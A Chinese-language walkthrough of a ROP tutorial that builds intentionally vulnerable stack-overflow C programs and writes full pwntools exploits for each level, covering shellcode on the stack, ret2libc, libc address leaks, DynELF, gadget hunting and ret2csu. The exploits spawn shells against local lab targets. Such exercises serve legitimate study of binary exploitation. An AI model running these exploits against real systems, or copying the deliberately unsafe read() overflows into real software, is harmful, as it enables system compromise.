这里将《一步一步学 ROP 之 Linux_x86 篇》和《一步一步学 ROP 之 Linux_64 篇》中的例子做一遍并记录下来。

0x01 32位ROP

level1——栈上执行shellcode

level1主要演示32位程序中最基本的栈溢出利用,可直接在栈上写shellcode并执行。

level1.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

使用如下指令编译:

1
gcc -m32 -fno-stack-protector -z execstack -o level1 level1.c

-m32参数指定编译为32位程序;-fno-stack-protector参数指定不开启堆栈溢出保护,即不生成 canary;-z execstack参数指定允许栈执行,即不开启NX。

下面3条指令用来关闭整个linux系统的ASLR保护:

1
2
3
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit

运行程序,输入一串字符串然后返回helloworld;file查看是个动态链接的32位文件;checksec查看所有安全编译选项都没有开:

利用pattern计算偏移,可得到溢出偏移量为140:

由此,我们可以构造”A”*140+shellcode_addr即可将shellcode地址覆盖到函数返回地址中,从而让EIP指针寄存器指向shellcode地址让程序执行shellcode。

这里NX没开,我们可以直接往栈上写shellcode,具体为shellcode+”A”*(140-len(shellcode))+shellcode_addr。

shellcode的构造直接用pwntools的asm(shellcraft.sh())来获得。

下面获取写入的shellcode地址。由于ASLR等都关掉,因此现在获取的地址就不会变了。

一个GDB的坑

在GDB中调试level1,r运行,再输入”abcdaaaaa……”让程序崩溃,然后输入x/10s \$esp-144(144是由前面得到的140偏移再加上4字节的ret得到的):

得到shellcode输入位置的偏移为0xffffcf70。

写payload:

1
2
3
4
5
6
7
8
9
from pwn import *

p = process("./level1")

shellcode = asm(shellcraft.sh())
shellcode_addr = 0xffffcf70
payload = shellcode.ljust(140, "A") + p32(shellcode_addr)
p.sendline(payload)
p.interactive()

然而在运行时会报错,无法正常利用。

填坑

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢?

最简单的方法就是开启core dump这个功能。

1
2
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

由此得到shellcode真正的地址0xffffcfb0。

改下payload的地址即可getshell:

1
2
3
4
5
6
7
8
9
from pwn import *

p = process("./level1")

shellcode = asm(shellcraft.sh())
shellcode_addr = 0xffffcfb0
payload = shellcode.ljust(140, "A") + p32(shellcode_addr)
p.sendline(payload)
p.interactive()

除了本地调试,还有远程部署的方式,如下,将题目绑定到指定端口上:

1
socat tcp-l:10001,fork exec:./level1

payload除了将p = process(“./level1”)改为p = remote(“127.0.0.1”, 10001)外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址:

得到ret地址为0xffffcf00,改下payload即可远程getshell:

level2——ret2libc绕过NX

一样的代码,只不过在用GCC编译开启NX保护即栈不可执行。

1
gcc -m32 -fno-stack-protector -o level2 level1.c

这时候我们如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,你会发现level1的stack是rwx的,但是level2的stack却是rw的。

既然开启了NX,那一般是利用ROP绕过,这里用的是ret2libc,因为程序level2调用了libc.so,并且libc.so里保存了大量可利用的函数如system()和/bin/sh,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。

下面的问题就变为怎么获取libc中的system和binsh的地址。

因为我们关掉了ASLR,此时system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。

此时我们可以使用GDB进行调试,在main打下断点然后运行,程序在main断点处停下再通过print和find命令来查找system和”/bin/sh”字符串的地址:

system()函数地址为:0xf7e42940

/bin/sh地址为:0xf7f6102b

至于溢出偏移量和level1一样为140。

编写payload:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process("./level2")

system_addr = 0xf7e42940
binsh_addr = 0xf7f6102b

payload = "A" * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
p.sendline(payload)

p.interactive()

level2——ROP绕过NX和ASLR

在前一小节的基础下,开启在level1中关掉的ASLR:

1
2
3
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space
exit

如果你通过sudo cat /proc/[pid]/maps或者ldd查看,你会发现level2的libc.so地址每次都是变化的:

此时利用前一小节的办法print和find是获取不到对的地址的,因为每次运行栈的地址都会变化。

如何利用呢?——思路是:先泄漏出libc.so某些函数在内存中的地址,再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,最后执行我们的ret2libc的shellcode。既然栈、libc、堆的地址都是随机的,我们怎么才能泄露出libc.so的地址呢?方法还是有的,因为程序本身在内存中的地址并不是随机的,如图所示,Linux内存随机化分布图:

所以我们只要把返回值设置到程序本身就可执行我们期望的指令了。

首先我们利用objdump来查看可以利用的plt函数和函数对应的got表:

除了程序本身的函数之外,还有read@plt()和write@plt()函数可用,但因为程序本身没有调用system()函数因此并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。

既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)

因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。

然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。

使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:

当然,除了用ldd命令查看libc.so库,还可以直接用pwntools库的elf.libc来获取libc.so库:

1
2
3
from pwn import *
elf = ELF("./level2")
libc = elf.libc

编写payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

#p = process("./level2")
p = remote("127.0.0.1", 10001)
elf = ELF("./level2")
libc = elf.libc
write_plt = elf.plt["write"]
write_got = elf.got["write"]
vulnerable_function_addr = elf.symbols["vulnerable_function"]
print "[*]write() plt: " + hex(write_plt)
print "[*]write() got: " + hex(write_got)
print "[*]vulnerable_function() addr: " + hex(vulnerable_function_addr)

payload = "A" * 140 + p32(write_plt) + p32(vulnerable_function_addr) + p32(1) + p32(write_got) + p32(4)

print "[*]sending payload1 to leak write libc addr..."
p.sendline(payload)
write_addr = u32(p.recv(4))

print "[*]leak write libc addr: " + hex(write_addr)

libc.address = write_addr - libc.symbols["write"]
system_addr = libc.symbols["system"]
binsh_addr = next(libc.search("/bin/sh"))
print "[*]system() addr: " + hex(system_addr)
print "[*]binsh addr: " + hex(binsh_addr)

payload2 = "A" * 140 + p32(system_addr) + p32(0xdeedbeef) + p32(binsh_addr)

print "[*]sending payload2 to getshell..."
p.sendline(payload2)

p.interactive()

另一种是ldd命令查找再赋值libc.so文件到当前目录再加载的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

#p = process("./level2")
p = remote("127.0.0.1", 10001)

elf = ELF("./level2")

libc = ELF("libc.so.6")
#libc = elf.libc
write_plt = elf.plt["write"]
write_got = elf.got["write"]
vulnerable_function_addr = elf.symbols["vulnerable_function"]
print "[*]write() plt: " + hex(write_plt)
print "[*]write() got: " + hex(write_got)
print "[*]vulnerable_function() addr: " + hex(vulnerable_function_addr)

payload = "A" * 140 + p32(write_plt) + p32(vulnerable_function_addr) + p32(1) + p32(write_got) + p32(4)

print "[*]sending payload1 to leak write libc addr..."
p.sendline(payload)
write_addr = u32(p.recv(4))

print "[*]leak write libc addr: " + hex(write_addr)

#libc.address = write_addr - libc.symbols["write"]
system_addr = libc.symbols["system"] + write_addr - libc.symbols["write"]
binsh_addr = next(libc.search("/bin/sh")) + write_addr - libc.symbols["write"]
print "[*]system() addr: " + hex(system_addr)
print "[*]binsh addr: " + hex(binsh_addr)

payload2 = "A" * 140 + p32(system_addr) + p32(0xdeedbeef) + p32(binsh_addr)

print "[*]sending payload2 to getshell..."
p.sendline(payload2)

p.interactive()

level2——Memory Leak & DynELF

本小节介绍了在不获取目标libc.so的情况下进行ROP攻击。

前面一小节我们用到了目标机器的libc.so才能计算出libc中system()和/bin/sh等的地址来实现攻击,但是如果我们在获取不到目标机器上的libc.so情况下,应该如何做呢?这时候就需要通过memory leak(内存泄露)来搜索内存找到system()的地址。

这里我们采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。拿我们上一篇中的level2程序举例。leak函数应该是这样实现的:

1
2
3
4
5
6
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(‘./level2’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。

要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2这个命令就可以获取到bss段的地址了。

当然,可以在pwntools中直接调用elf.bss()获取.bss段地址:

1
2
elf = ELF("./level2")
bss_base = elf.bss()

因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。这里我们用ROPgadget来寻找:

编写payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

p = remote("127.0.0.1", 10001)
#p = process("./level2")

elf = ELF("./level2")
bss_base = elf.bss()
plt_write = elf.plt["write"]
plt_read = elf.plt["read"]
vulfun_addr = elf.symbols["vulnerable_function"]
print "[*]write() plt: " + hex(plt_write)
print "[*]read() plt: " + hex(plt_read)
print "[*]vulnerable_function() addr: " + hex(vulfun_addr)
print "[*].bss addr: " + hex(bss_base)


def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
#print "%#x => %s" % (address, (data or '').encode('hex'))
return data

d = DynELF(leak, elf=ELF('./level2'))

execve_addr = d.lookup('execve', 'libc')
print "[*]execve() addr: " + hex(execve_addr)

#system_addr = d.lookup('system', 'libc')
#print "[*]system() addr: " + hex(system_addr)

pop_pop_pop_ret = 0x080484f9
payload2 = "A" * 140 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_base) + p32(8)
#payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_base)
payload2 += p32(execve_addr) + p32(vulfun_addr) + p32(bss_base) + p32(0) + p32(0)


p.sendline(payload2)
p.sendline("/bin/sh\0")

p.interactive()

本地环境中system()函数执行有问题,老得不到shell,换了execve()函数即可:

0x02 64位ROP

level3——64位与32位区别

linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。

level3.c代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void callsystem()
{
system("/bin/sh");
}

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

默认打开系统的ASLR,然后用如下gcc命令编译,即不开启Canary:

1
gcc -fno-stack-protector level3.c -o level3

查看基本功能和安全编译选项开关:

通过GDB的调试,用pattern创建大量字符串发送过去,程序终止在vulnerable_function()函数处:

奇怪的事情发生了,PC指针并没有指向类似于0x41414141那样地址,而是停在了vulnerable_function()函数中。这是为什么呢?原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算出溢出点。因为ret相当于“pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。

因此我们得到了136的偏移地址。

我们再构造一次payload,并且跳转到一个小于0x00007fffffffffff的地址,看看这次能否控制pc的指针:

1
2
3
python -c 'print "A"*136+"ABCDEF\x00\x00"' > payload
gdb level3
(gdb) r < payload

可以看到我们已经成功的控制了PC的指针了。

知道了偏移量,且程序中本来就存在一个callsystem()函数,其会直接调用system(“/bin/sh”),那就简单多了。

编写payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = process("./level3")

elf = ELF("./level3")
callsystem_addr = elf.symbols["callsystem"]
print "[*]callsystem() addr: " + hex(callsystem_addr)

payload = "A" * 136 + p64(callsystem_addr)

print "[*]sending payload..."
p.sendline(payload)
p.interactive()

level4——使用工具寻找gadgets

我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret的这种gadget。如果是简单的gadgets,我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便。比较有名的工具有:

ROPEME: https://github.com/packz/ropeme

Ropper: https://github.com/sashs/Ropper

ROPgadget: https://github.com/JonathanSa…

rp++: https://github.com/0vercl0k/rp

这些工具功能上都差不多,找一款自己能用的惯的即可。

level4.c代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}

编译,因为程序用到了dlopen()函数打开libc,因此需要-ldl参数:

1
gcc -fno-stack-protector level4.c -o level4 -ldl

64位程序,动态链接文件,只开启了NX:

用IDA分析,看到程序在一开始运行时调用systemaddr()函数,该函数会从本程序用到的libc.so.6中获取其中的system()函数地址并打印出来:

和level3一样得到溢出偏移量为136。

下面开始使用工具来寻找合适的Gadgets。

因为我们知道了溢出偏移量和system()函数的地址,剩下的就是通过寄存器给system()函数传参了,而在64位中传参的前六个参数是通过寄存器来实现的,而且system()只接受一个参数,因此我们需要找到一条pop rdi;ret的Gadget来帮助我们实现,这里我们用的是ROPgadget工具帮我们查找:

当然,一般情况下自身的程序可能没有合适的Gadgets,这时我们可以到指定的libc.so文件中找到合适的:

编写payload,有两个Gadget可选,如果用的是libc中的Gadget则需要加上libc的实际地址来计算出该gadget的实际地址,因为libc.address = offset = system_addr - libc.symbols[‘system’] = gadget实际地址 - gadget在libc中地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

p = process("./level4")

elf = ELF("./level4")
libc = elf.libc

## self gadget
#pop_rdi_ret_addr = 0x00000000004008b3
## libc gadget
pop_rdi_ret_libc = 0x0000000000021102

system_addr = int(p.recv(1024).split()[0], 16)
print "[*]recv system() addr: " + hex(system_addr)

libc.address = system_addr - libc.symbols["system"]
binsh_addr = next(libc.search("/bin/sh"))
## libc gadget + libc addr
pop_rdi_ret_addr = pop_rdi_ret_libc + libc.address
print "[*]/bin/sh libc addr: " + hex(binsh_addr)

payload = "A" * 136 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)

print "[*]sending payload..."
p.sendline(payload)
p.interactive()

除了前面找的pop rdi;ret这个Gadget,我们还可以找另外一个gadget,因为我们只需调用一次system()函数就可以获取shell,所以我们也可以搜索不带ret的gadgets来构造ROP链,如下:

可以看到pop rax;pop rdi;call rax这个gadget,我们可以先将rax赋值为system()的地址,rdi赋值为“/bin/sh”的地址,最后再调用call rax即可。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

p = process("./level4")

elf = ELF("./level4")
libc = elf.libc

#pop|ret
## self gadget
#pop_rdi_ret_addr = 0x00000000004008b3
## libc gadget
#pop_rdi_ret_libc = 0x0000000000021102

#pop|call
pop_call_libc = 0x0000000000107419

system_addr = int(p.recv(1024).split()[0], 16)
print "[*]recv system() addr: " + hex(system_addr)

libc.address = system_addr - libc.symbols["system"]
binsh_addr = next(libc.search("/bin/sh"))
#pop_rdi_ret_addr = pop_rdi_ret_libc + libc.address
pop_call_addr = pop_call_libc +libc.address
print "[*]/bin/sh libc addr: " + hex(binsh_addr)

#payload = "A" * 136 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
payload = "A" * 136 + p64(pop_call_addr) + p64(system_addr) + p64(binsh_addr)

print "[*]sending payload..."
p.sendline(payload)
p.interactive()

level5——通用gadgets

因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。

level5.c代码如下,相比于level3和level4,去掉了提供system()或其地址的辅助函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段,最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。

编译:

1
gcc -fno-stack-protector -o level5 level5.c

基本功能和安全编译开关和前面的一致。

溢出偏移量也和之前的一致,为136。

用objdump -d ./level5观察一下__libc_csu_init()这个函数:

可以看到,利用0x40061a处的代码可以控制rbx、rbp、r12、r13、r14和r15的值,随后利用0x400600处的代码可以将r13的值赋值给rdx、r14的值赋值给rsi、r15的值赋值给edi(这和蒸米原文的顺序是相反的,因为本地编译出来的程序所用的gadget有些许区别,其实这里利用的就是ret2csu技巧),随后就会调用call qword ptr [r12+rbx*8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx*8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。

这里列两种getshell的方法。

Method1——只用ret2csu的Gadget

第一种是蒸米讲解的方法,即利用该gadget构造3段payload,分别是泄露write()函数地址、向程序.bss段写入”/bin/sh”和system()或execve()函数地址、传入bss_addr+8处的参数并调用bss_addr地址处的函数即执行system(“/bin/sh”)。

最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

p = process('./level5')
#p = remote('192.168.17.155',10001)

elf = ELF('level5')
libc = elf.libc
main = elf.symbols['main']
bss_addr = elf.bss()

gadget1 = 0x40061a
gadget2 = 0x400600

got_write = elf.got['write']
print "[*]write() got: " + hex(got_write)
got_read = elf.got['read']
print "[*]read() got: " + hex(got_read)

def csu(rbx, rbp, r12, r13, r14, r15, ret):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = "A" * 136
payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(gadget2)
payload += "B" * 56
payload += p64(ret)
return payload

#write(rdi=1, rsi=write.got, rdx=4)
payload1 = csu(0, 1, got_write, 8, got_write, 1, main)

p.recvuntil("Hello, World\n")

print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "[*]leak write() addr: " + hex(write_addr)

libc.address = write_addr - libc.symbols['write']
execve_addr = libc.symbols["execve"]
print "[*]execve() addr: " + hex(execve_addr)

p.recvuntil("Hello, World\n")

#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = csu(0, 1, got_read, 16, bss_addr, 0, main)

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(execve_addr))
p.send("/bin/sh\0")
sleep(1)

p.recvuntil("Hello, World\n")

#execve(rdi = bss_addr+8 = "/bin/sh", rsi=0, rdx=0)
payload3 = csu(0, 1, bss_addr, 0, 0, bss_addr + 8, main)

print "\n#############sending payload3#############\n"

sleep(1)
p.send(payload3)

p.interactive()

简单说下:

  • 由于利用到泄露函数地址和向.bss段写内容的功能,需要先获取write()和read()函数的GOT地址;
  • 本次利用的Gadget即ret2csu,定义一个csu函数,用于构造Gadget传参构造payload,其中payload构造是先填充溢出偏移量的字符、然后根据gadget1来设置对应寄存器的值、再调用gadget2、然后填充字符至gadget1的ret指令处、最后调用输入的返回地址即main处让程序继续执行下去;这里注意两个偏移量,第一个136是程序本身溢出到ret的偏移量,而第二个56则是gadget2跑完之后还要继续往下跑到gadget1的ret中去,这中间需要填充56个字节;
  • payload1利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx*8],所以我们应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止;
  • 当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。接着构造payload2,利用read()将system()或execve()的地址以及“/bin/sh”读入到.bss段内存中;
  • 最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。

在我的本地环境中,利用system()的exp会得不到shell,换了execve()才可以:

Method2——利用两个Gadgets

其实不用向.bss段写内容再调用,有点繁琐,且同一个Gadget调用了3次。

除了利用ret2csu的gadget,这里还利用到pop rdi|ret这个gadget,主要用于给system(函数的第一个参数赋值并返回往下调用system()函数从而getshell:

基本利用过程就是:通过ret2csu的gadget泄露write()函数的真实地址,通过LibcSearcher或查询的方式得到libc的offset然后计算出system()函数和”/bin/sh”的真实地址,最后利用pop rdi|ret这个gadget构造exp执行system(“/bin/sh”)。

payload如下,下面将改为远程连接的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *

# p = process('./level5')
p = remote('192.168.17.155',10001)

elf = ELF('level5')

gadget1 = 0x40061a
gadget2 = 0x400600
pop_rdi_ret = 0x0000000000400623

main_addr = elf.symbols['main']
write_got = elf.got['write']
print "[*]main() addr: " + hex(main_addr)
print "[*]write() got: " + hex(write_got)


def csu(rbx, rbp, r12, r13, r14, r15, ret):
payload = "A" * 136
payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(gadget2)
payload += "B" * 56
payload += p64(ret)
return payload

#write(rdi=1, rsi=write.got, rdx=4)
payload = csu(0, 1, write_got, 8, write_got, 1, main_addr)

p.recvuntil("Hello, World\n")

print "[*]sending payload to leak write addr..."
p.send(payload)
sleep(1)

write_addr = u64(p.recv(8))
print "[*]leak write() addr: " + hex(write_addr)

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print "[*]system() addr: " + hex(system_addr)
print "[*]/bin/sh addr: " + hex(binsh_addr)

p.recvuntil("Hello, World\n")

print "[*]sending exp..."
exp = "A" * 136
exp += p64(pop_rdi_ret)
exp += p64(binsh_addr)
exp += p64(system_addr)
p.sendline(exp)
p.interactive()

当然,也可以不用LibcSearcher这个工具包,而是直接通过查询Libc Database Search的方式自己写地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

# p = process('./level5')
p = remote('192.168.17.155',10001)

elf = ELF('level5')

gadget1 = 0x40061a
gadget2 = 0x400600
pop_rdi_ret = 0x0000000000400623

main_addr = elf.symbols['main']
write_got = elf.got['write']
print "[*]main() addr: " + hex(main_addr)
print "[*]write() got: " + hex(write_got)


def csu(rbx, rbp, r12, r13, r14, r15, ret):
payload = "A" * 136
payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(gadget2)
payload += "B" * 56
payload += p64(ret)
return payload

#write(rdi=1, rsi=write.got, rdx=4)
payload = csu(0, 1, write_got, 8, write_got, 1, main_addr)

p.recvuntil("Hello, World\n")

print "[*]sending payload to leak write addr..."
p.send(payload)
sleep(1)

write_addr = u64(p.recv(8))
print "[*]leak write() addr: " + hex(write_addr)

## libc db search
## leak write low 3: 2b0
system_offset = 0x045390
binsh_offset = 0x18cd57
write_offset = 0x0f72b0
libc_base = write_addr - write_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
print "[*]system() addr: " + hex(system_addr)
print "[*]/bin/sh addr: " + hex(binsh_addr)

p.recvuntil("Hello, World\n")

print "[*]sending exp..."
exp = "A" * 136
exp += p64(pop_rdi_ret)
exp += p64(binsh_addr)
exp += p64(system_addr)
p.sendline(exp)
p.interactive()

getshell:

0x03 参考

一步一步学ROP之Linux_x86篇

一步一步学ROP之Linux_x64篇